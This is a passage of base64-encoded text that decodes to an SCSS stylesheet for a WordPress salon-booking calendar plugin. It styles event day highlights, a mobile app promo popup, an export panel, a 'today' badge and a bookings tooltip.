Z3JvdW5kLWNvbG9yOiAjYzFjMWMxO1xuICAgIH1cbiAgfVxuICAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1zdWNjZXNzOmhvdmVyLFxuICAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1zdWNjZXNzIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNjlkMDQ0O1xuICAgIC5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5X19oZWFkZXI6OmFmdGVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICM2OWQwNDQ7XG4gICAgfVxuICB9XG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LXNwZWNpYWw6aG92ZXIsXG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LXNwZWNpYWwge1xuICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmU2ZmY7XG4gICAgLmRheS1ldmVudC1pdGVtX19jYWxlbmRhci1kYXlfX2hlYWRlcjo6YWZ0ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZTZmZjtcbiAgICB9XG4gIH1cbn1cbi5jYWwtbW9udGgtYm94IHtcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtd2FybmluZzpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtd2FybmluZyxcbiAgLmRheS1oaWdobGlnaHQ6aG92ZXIsXG4gIC5kYXktaGlnaGxpZ2h0LFxuICAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1kYW5nZXI6aG92ZXIsXG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LWRhbmdlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtd2FybmluZzpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtd2FybmluZyxcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW5mbzpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW5mbyxcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW52ZXJzZTpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW52ZXJzZSxcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtc3VjY2Vzczpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtc3VjY2VzcyxcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtc3BlY2lhbDpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtc3BlY2lhbCB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gIH1cbn1cblxuLy8qIERJTUlUUkkgLy8gRU5EICovL1xuLnNsbi1jYWxlbmRhci1zaWRlYmFyIHtcbiAgZGlzcGxheTogZmxleDtcbiAgYWxpZ24taXRlbXM6IGZsZXgtZW5kO1xuICAuc2xuLWhlbHAtYnV0dG9uX19ibG9jayB7XG4gICAgbWFyZ2luLWJvdHRvbTogY2FsYygxZW0gKyA2cHgpO1xuICB9XG59XG4vLyBNb2JpbGUgUFdBIHByb21vIChQUk8gKyBGUkVFKTogc2hhcmVkIHNoZWxsICguc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vLXdyYXApIGFuZCBjYXJkICguc2xuLXBvcHVwLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tbykuXG4uc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vLXdyYXAge1xuICBwb3NpdGlvbjogZml4ZWQ7XG4gIGluc2V0OiAwO1xuICB6LWluZGV4OiAxMDAwMDA7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICBwYWRkaW5nOiAxcmVtO1xuICBib3gtc2l6aW5nOiBib3JkZXItYm94O1xuICAvLyBXUCBhZG1pbiBiYXIgKG1vYmlsZSlcbiAgLmFkbWluLWJhciAmIHtcbiAgICB0b3A6IDQ2cHg7XG4gICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzgzcHgpIHtcbiAgICAgIHRvcDogMzJweDtcbiAgICB9XG4gIH1cbn1cblxuLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tby1iYWNrZHJvcCB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgaW5zZXQ6IDA7XG4gIG1hcmdpbjogMDtcbiAgcGFkZGluZzogMDtcbiAgYm9yZGVyOiAwO1xuICBiYWNrZ3JvdW5kOiByZ2JhKDE1LCAyMywgNDIsIDAuNDUpO1xuICBjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5zbG4tcG9wdXAuc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vIHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICB0b3A6IGF1dG87XG4gIGxlZnQ6IGF1dG87XG4gIHotaW5kZXg6IDE7XG4gIG1heC13aWR0aDogMjAuNXJlbTtcbiAgd2lkdGg6IDEwMCU7XG4gIG1hcmdpbjogMDtcbiAgYm94LXNpemluZzogYm9yZGVyLWJveDtcbiAgYm9yZGVyLXJhZGl1czogMTRweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2Y4ZmFmYztcbiAgcGFkZGluZzogMS4zNXJlbSAxLjEyNXJlbSAxcmVtO1xuICBmb250LXNpemU6IDE2cHg7XG4gIGxpbmUtaGVpZ2h0OiAxLjQ1O1xuICB0ZXh0LWFsaWduOiBsZWZ0O1xuICBib3gtc2hhZG93OlxuICAgIDAgMXB4IDJweCByZ2JhKDE1LCAyMywgNDIsIDAuMDYpLFxuICAgIDAgMTJweCA0MHB4IHJnYmEoMTUsIDIzLCA0MiwgMC4xOCk7XG4gIGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMTQ4LCAxNjMsIDE4NCwgMC4zNSk7XG59XG5cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNDAwcHgpIHtcbiAgLnNsbi1wb3B1cC5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8ge1xuICAgIHBhZGRpbmc6IDEuMTI1cmVtIDFyZW0gMC44NzVyZW07XG4gICAgbWF4LXdpZHRoOiBub25lO1xuICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgfVxufVxuXG4uc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vIC5zbG4tcG9wdXAtLWNsb3NlLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fY2xvc2UteCB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgdG9wOiAwLjVyZW07XG4gIHJpZ2h0OiAwLjVyZW07XG4gIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICBib3JkZXI6IDA7XG4gIHBhZGRpbmc6IDAuMzVyZW07XG4gIG1hcmdpbjogMDtcbiAgZGlzcGxheTogYmxvY2s7XG4gIGxpbmUtaGVpZ2h0OiAxO1xuICBtaW4td2lkdGg6IDIuMjVyZW07XG4gIG1pbi1oZWlnaHQ6IDIuMjVyZW07XG4gIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gIHotaW5kZXg6IDI7XG4gIGNvbG9yOiAjNjQ3NDhiO1xuICBjdXJzb3I6IHBvaW50ZXI7XG4gIGZvbnQtc2l6ZTogMS4yZW07XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcblxuICAmOjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjQxMCc7XG4gICAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZScsICdGb250IEF3ZXNvbWUgNiBGcmVlJztcbiAgICBmb250LXdlaWdodDogOTAwO1xuICB9XG59XG5cbi5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8gLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fY29udGVudC5zbG4tcG9wdXAtY29udGVudCB7XG4gIHdpZHRoOiAxMDAlO1xuICBtYXJnaW46IDAgMCAxcmVtO1xuICBwYWRkaW5nOiAwIDEuNzVyZW0gMCAwO1xufVxuXG4uc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vIC5zbG4tcG9wdXAtY29udGVudCAuc2xuLXBvcHVwLS10ZXh0LnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19faGVhZGxpbmUge1xuICBmb250LXNpemU6IDEuMDYyNXJlbTtcbiAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgY29sb3I6ICMwZjE3MmE7XG4gIG1hcmdpbjogMCAwIDAuNXJlbTtcbiAgcGFkZGluZzogMDtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbiAgbGluZS1oZWlnaHQ6IDEuMztcbn1cblxuLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tbyAuc2xuLXBvcHVwLWNvbnRlbnQgLnNsbi1wb3B1cC0tdGV4dC5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW9fX2xlZGUge1xuICBmb250LXNpemU6IDAuOTM3NXJlbTtcbiAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgY29sb3I6ICM0NzU1Njk7XG4gIG1hcmdpbjogMDtcbiAgcGFkZGluZzogMDtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbn1cblxuLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tbyAuc2xuLXBvcHVwLS1idXR0b24uc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vX19jdGEge1xuICBkaXNwbGF5OiBmbGV4O1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xuICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgd2lkdGg6IDEwMCU7XG4gIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gIG1hcmdpbjogMCAwIDAuODc1cmVtO1xuICBwYWRkaW5nOiAwLjc1cmVtIDFyZW07XG4gIGZvbnQtc2l6ZTogMC45Mzc1cmVtO1xuICBmb250LXdlaWdodDogNjAwO1xuICBsZXR0ZXItc3BhY2luZzogMC4wMmVtO1xuICB0ZXh0LXRyYW5zZm9ybTogbm9uZTtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICB3aGl0ZS1zcGFjZTogbm9ybWFsO1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIGxpbmUtaGVpZ2h0OiAxLjI1O1xuICBib3JkZXItcmFkaXVzOiAxMHB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjk2NmEzO1xuICBjb2xvcjogI2ZmZjtcbiAgYm9yZGVyOiAwO1xuICB0cmFuc2l0aW9uOiBiYWNrZ3JvdW5kLWNvbG9yIDAuMTJzIGVhc2U7XG5cbiAgJjpob3ZlcixcbiAgJjpmb2N1cyB7XG4gICAgY29sb3I6ICNmZmY7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzIzNTg5MjtcbiAgfVxuXG4gICY6YWN0aXZlIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMWY1Mjg0O1xuICB9XG59XG5cbi8vIFBSTyBwcm9tbyBoYXMgbm8gZm9vdGVyIHJvdyDigJQgYXZvaWQgZXh0cmEgZ2FwIHVuZGVyIHRoZSBwcmltYXJ5IENUQS5cbi5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW86bm90KDpoYXMoLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fYWN0aW9ucykpXG4gIC5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW9fX2N0YSB7XG4gIG1hcmdpbi1ib3R0b206IDA7XG59XG5cbi5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8gLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fYWN0aW9ucyB7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGZsZXgtd3JhcDogd3JhcDtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICBnYXA6IDAuNXJlbSAwLjc1cmVtO1xuICBtYXJnaW46IDA7XG4gIHBhZGRpbmctdG9wOiAwLjEyNXJlbTtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHJnYmEoMTQ4LCAxNjMsIDE4NCwgMC4zNSk7XG59XG5cbi5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8gLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fbm90LW5vdyB7XG4gIG1hcmdpbjogMDtcbiAgcGFkZGluZzogMC41cmVtIDA7XG4gIGZvbnQ6IGluaGVyaXQ7XG4gIGZvbnQtc2l6ZTogMC44NzVyZW07XG4gIGZvbnQtd2VpZ2h0OiA1MDA7XG4gIGNvbG9yOiAjNjQ3NDhiO1xuICBiYWNrZ3JvdW5kOiBub25lO1xuICBib3JkZXI6IDA7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7XG4gIHRleHQtdW5kZXJsaW5lLW9mZnNldDogMnB4O1xuXG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIGNvbG9yOiAjMzM0MTU1O1xuICB9XG59XG5cbi5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8gLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fcHJvLWxpbmsge1xuICBtYXJnaW46IDA7XG4gIHBhZGRpbmc6IDAuNXJlbSAwO1xuICBmb250LXNpemU6IDAuODc1cmVtO1xuICBmb250LXdlaWdodDogNjAwO1xuICBjb2xvcjogIzIxNzFiMTtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuXG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lO1xuICAgIHRleHQtdW5kZXJsaW5lLW9mZnNldDogMnB4O1xuICB9XG59XG5cbi8vIC8vIFVTRSBNT0JJTEUgQVBQIFBPUFVQIC8vIC8vXG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyICNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kYXktZXZlbnQuZGF5LWV2ZW50LS1iZHRvcCxcbi5kYXktZXZlbnQuZGF5LWV2ZW50LS1iZHRvcCB7XG4gIHBhZGRpbmctdG9wOiA2cHg7XG4gIHotaW5kZXg6IDI7XG4gICY6OmFmdGVyIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgY29udGVudDogJyc7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogMDtcbiAgICByaWdodDogMDtcbiAgICBsZWZ0OiAwO1xuICAgIG1hcmdpbi10b3A6IDA7XG4gICAgYm9yZGVyLXRvcDogMnB4IGRhc2hlZCB3aGl0ZTtcbiAgICBib3JkZXItdG9wLWNvbG9yOiB3aGl0ZTtcbiAgfVxufVxuXG4uc2Fsb25fcGFnZV9zYWxvbi1jYWxlbmRhciB7XG4gIC5zbG4tY2FsZW5kYXItLXdyYXBwZXIge1xuICAgIC5jYWwtZXZlbnQtbGlzdCB7XG4gICAgICB3aWR0aDogMjZyZW07XG4gICAgICBtYXgtd2lkdGg6IDI2cmVtO1xuICAgIH1cbiAgfVxufVxuXG4vLyAyMDI1LTA5LTIyXG4uc2xuLWNhbGVuZGFyLWV4cG9ydC13cmFwcGVyIHtcbiAgZGlzcGxheTogZmxleDtcbiAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAgZ2FwOiAxLjc1cmVtO1xuICBtYXgtd2lkdGg6IDYwcmVtO1xuICBtYXJnaW46IDIuOHJlbSBhdXRvO1xuICBwYWRkaW5nOiAxLjc1cmVtIDIuNXJlbTtcbiAgYm9yZGVyLXJhZGl1czogMjBweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1saWdodC0yO1xuICAuc2xuLWNhbGVuZGFyLWV4cG9ydC13cmFwcGVyX190aXRsZSB7XG4gICAgZ3JpZC1jb2x1bW46IDEgLyBzcGFuIDI7XG4gICAgbWFyZ2luOiAwO1xuICAgIGZvbnQtd2VpZ2h0OiA1MDA7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1kYXJrZXN0O1xuICB9XG4gIC5zbG4taW5wdXQtLXNpbXBsZTI1IHtcbiAgICBtYXJnaW4tYm90dG9tOiAwO1xuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICBkaXNwbGF5OiBncmlkO1xuICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyIDFmcjtcbiAgfVxufVxuXG4vLyBUb2RheSBidXR0b24gYmFkZ2Ugc3R5bGVzXG5Aa2V5ZnJhbWVzIHNsbi1iYWRnZS1wdWxzZSB7XG4gIDAlIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICB9XG4gIDUwJSB7XG4gICAgdHJhbnNmb3JtOiBzY2FsZSgxLjMpO1xuICB9XG4gIDEwMCUge1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gIH1cbn1cblxuLnNsbi10b2RheS1iYWRnZSB7XG4gIGRpc3BsYXk6IGlubGluZS1mbGV4O1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xuICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgbWluLXdpZHRoOiAzMnB4O1xuICBoZWlnaHQ6IDMycHg7XG4gIHBhZGRpbmc6IDAgMTJweDtcbiAgbWFyZ2luOiAzcHggM3B4IDNweCAzMHB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjRDhFMEU2O1xuICBjb2xvcjogIzIxNzFCMTtcbiAgZm9udC1zaXplOiAxOHB4O1xuICBmb250LXdlaWdodDogYm9sZDtcbiAgYm9yZGVyLXJhZGl1czogMTZweDtcbiAgbGluZS1oZWlnaHQ6IDE7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgdHJhbnNpdGlvbjogYmFja2dyb3VuZC1jb2xvciAwLjJzIGVhc2U7XG4gIFxuICAmLnNsbi10b2RheS1iYWRnZS0tcHVsc2Uge1xuICAgIGFuaW1hdGlvbjogc2xuLWJhZGdlLXB1bHNlIDAuNXMgZWFzZS1pbi1vdXQ7XG4gIH1cbiAgXG4gICY6aG92ZXIge1xuICAgIGJhY2tncm91bmQtY29sb3I6ICNjNWQwZDg7XG4gIH1cbiAgXG4gIC8vIFB1bHNlIGFuaW1hdGlvbiB3aGVuIGNvdW50IHVwZGF0ZXNcbiAgJi0tcHVsc2Uge1xuICAgIGFuaW1hdGlvbjogc2xuLWJhZGdlLXB1bHNlIDAuNnMgZWFzZS1vdXQ7XG4gIH1cbn1cblxuLy8gS2V5ZnJhbWVzIGZvciBiYWRnZSBwdWxzZSBhbmltYXRpb25cbkBrZXlmcmFtZXMgc2xuLWJhZGdlLXB1bHNlIHtcbiAgMCUge1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gIH1cbiAgNTAlIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMyk7XG4gIH1cbiAgMTAwJSB7XG4gICAgdHJhbnNmb3JtOiBzY2FsZSgxKTtcbiAgfVxufVxuXG4vLyBUb2RheSBidXR0b24gdG9vbHRpcCBzdHlsZXNcbi5zbG4tdG9kYXktdG9vbHRpcCB7XG4gIHBvc2l0aW9uOiBmaXhlZDtcbiAgei1pbmRleDogMTAwMDA7XG4gIGJhY2tncm91bmQtY29sb3I6ICNGMEYwRjE7XG4gIGJvcmRlcjogMXB4IHNvbGlkICNEOEUwRTY7XG4gIGJvcmRlci1yYWRpdXM6IDhweDtcbiAgYm94LXNoYWRvdzogMCA0cHggMTJweCByZ2JhKDAsIDAsIDAsIDAuMTUpO1xuICB3aWR0aDogMjZyZW07XG4gIG1pbi13aWR0aDogMjZyZW07XG4gIG1heC13aWR0aDogMjZyZW07XG4gIHBhZGRpbmc6IDE2cHg7XG4gIFxuICAvLyBBcnJvdyBmb3IgY2FsYmFyIHRvb2x0aXAgKGFwcGVhcnMgYWJvdmUgY2FsYmFyLCBwb2ludHMgZG93bilcbiAgJi5zbG4tY2FsYmFyLXRvb2x0aXAge1xuICAgICY6OmJlZm9yZSB7XG4gICAgICBjb250ZW50OiAnJyAhaW1wb3J0YW50O1xuICAgICAgcG9zaXRpb246IGFic29sdXRlICFpbXBvcnRhbnQ7XG4gICAgICBib3R0b206IC0xMHB4ICFpbXBvcnRhbnQ7XG4gICAgICB0b3A6IGF1dG8gIWltcG9ydGFudDtcbiAgICAgIGxlZnQ6IDUwJSAhaW1wb3J0YW50O1xuICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpICFpbXBvcnRhbnQ7XG4gICAgICB3aWR0aDogMCAhaW1wb3J0YW50O1xuICAgICAgaGVpZ2h0OiAwICFpbXBvcnRhbnQ7XG4gICAgICBib3JkZXItbGVmdDogMTBweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuICAgICAgYm9yZGVyLXJpZ2h0OiAxMHB4IHNvbGlkIHRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7XG4gICAgICBib3JkZXItdG9wOiAxMHB4IHNvbGlkICNEOEUwRTYgIWltcG9ydGFudDtcbiAgICAgIGJvcmRlci1ib3R0b206IG5vbmUgIWltcG9ydGFudDtcbiAgICAgIHotaW5kZXg6IDEgIWltcG9ydGFudDtcbiAgICB9XG4gICAgXG4gICAgJjo6YWZ0ZXIge1xuICAgICAgY29udGVudDogJycgIWltcG9ydGFudDtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZSAhaW1wb3J0YW50O1xuICAgICAgYm90dG9tOiAtOXB4ICFpbXBvcnRhbnQ7XG4gICAgICB0b3A6IGF1dG8gIWltcG9ydGFudDtcbiAgICAgIGxlZnQ6IDUwJSAhaW1wb3J0YW50O1xuICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpICFpbXBvcnRhbnQ7XG4gICAgICB3aWR0aDogMCAhaW1wb3J0YW50O1xuICAgICAgaGVpZ2h0OiAwICFpbXBvcnRhbnQ7XG4gICAgICBib3JkZXItbGVmdDogOXB4IHNvbGlkIHRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7XG4gICAgICBib3JkZXItcmlnaHQ6IDlweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuICAgICAgYm9yZGVyLXRvcDogOXB4IHNvbGlkICNGMEYwRjEgIWltcG9ydGFudDtcbiAgICAgIGJvcmRlci1ib3R0b206IG5vbmUgIWltcG9ydGFudDtcbiAgICAgIHotaW5kZXg6IDIgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cbiAgXG4gICZfX3RpdGxlIHtcbiAgICBmb250LXNpemU6IDE3cHg7XG4gICAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbiAgICBjb2xvcjogIzIxNzFCMTtcbiAgICBtYXJnaW4tYm90dG9tOiAxMnB4O1xuICAgIHBhZGRpbmctYm90dG9tOiA4cHg7XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlOWVjZWY7XG4gIH1cbiAgXG4gICZfX2xpc3Qge1xuICAgIGxpc3Qtc3R5bGU6IG5vbmU7XG4gICAgbWFyZ2luOiAwO1xuICAgIHBhZGRpbmc6IDA7XG4gIH1cbiAgXG4gICZfX2l0ZW0ge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG4gICAgcGFkZGluZzogMTJweCA4cHg7XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNEOEUwRTY7XG4gICAgdHJhbnNpdGlvbjogYmFja2dyb3VuZC1jb2xvciAwLjJzIGVhc2U7XG4gICAgXG4gICAgJjpsYXN0LWNoaWxkIHtcbiAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7XG4gICAgfVxuICAgIFxuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0U4RTlFQTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDRweDtcbiAgICB9XG4gIH1cbiAgXG4gICZfX2N1c3RvbWVyIHtcbiAgICBmb250LXNpemU6IDE0cHg7XG4gICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICBjb2xvcjogIzMzMztcbiAgICBmbGV4OiAxO1xuICAgIG1hcmdpbi1yaWdodDogMTJweDtcbiAgfVxuICBcbiAgJl9fdGltZSB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGdhcDogNHB4O1xuICAgIGZvbnQtc2l6ZTogMTNweDtcbiAgICBjb2xvcjogIzdEODg5MDtcbiAgICBtYXJnaW4tcmlnaHQ6IDEycHg7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICBcbiAgICAuc2xuLWljb24tLWNsb2NrIHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4O1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgY29sb3I6ICM3RDg4OTA7XG4gICAgICB3aWR0aDogMTRweDtcbiAgICAgIGhlaWdodDogMTRweDtcbiAgICAgIGZsZXgtc2hyaW5rOiAwO1xuICAgICAgXG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBmb250LWZhbWlseTogJ0ZvbnRBd2Vzb21lJztcbiAgICAgICAgY29udGVudDogJ1xcZjAxNyc7XG4gICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIFxuICAmX19idXR0b24ge1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICBjb2xvcjogIzIxNzFCMSAhaW1wb3J0YW50O1xuICAgIGJvcmRlcjogMXB4IHNvbGlkICMyMTcxQjE7XG4gICAgYm9yZGVyLXJhZGl1czogMjBweDtcbiAgICBwYWRkaW5nOiA1cHggMTZweDtcbiAgICBmb250LXNpemU6IDEzcHg7XG4gICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgdHJhbnNpdGlvbjogYWxsIDAuMnMgZWFzZTtcbiAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICBcbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMzMsIDExMywgMTc3LCAwLjEpO1xuICAgICAgYm9yZGVyLWNvbG9yOiAjMWE1YThmO1xuICAgICAgY29sb3I6ICMxYTVhOGYgIWltcG9ydGFudDtcbiAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICB9XG4gICAgXG4gICAgJjpmb2N1cyB7XG4gICAgICBvdXRsaW5lOiAycHggc29saWQgIzIxNzFCMTtcbiAgICAgIG91dGxpbmUtb2Zmc2V0OiAycHg7XG4gICAgfVxuICAgIFxuICAgICY6YWN0aXZlIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMzMsIDExMywgMTc3LCAwLjIpO1xuICAgICAgYm9yZGVyLWNvbG9yOiAjMTU0ODcyO1xuICAgICAgY29sb3I6ICMxNTQ4NzIgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cbiAgXG4gIC8vIFwiU2VlIGFsbCBib29raW5nc1wiIGxpbmtcbiAgJl9fc2VlLWFsbCB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIHBhZGRpbmc6IDEycHggMTZweDtcbiAgICBtYXJnaW46IDhweCAtMTZweCAtMTZweCAtMTZweDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjhmOWZhO1xuICAgIGJvcmRlci1yYWRpdXM6IDAgMCA4cHggOHB4O1xuICAgIGNvbG9yOiAjMjE3MUIxICFpbXBvcnRhbnQ7XG4gICAgZm9udC1zaXplOiAxM3B4O1xuICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICB0cmFuc2l0aW9uOiBhbGwgMC4ycyBlYXNlO1xuICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjRDhFMEU2O1xuICAgIFxuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2U5ZWNlZjtcbiAgICAgIGNvbG9yOiAjMWE1YThmICFpbXBvcnRhbnQ7XG4gICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgfVxuICAgIFxuICAgICY6YWN0aXZlIH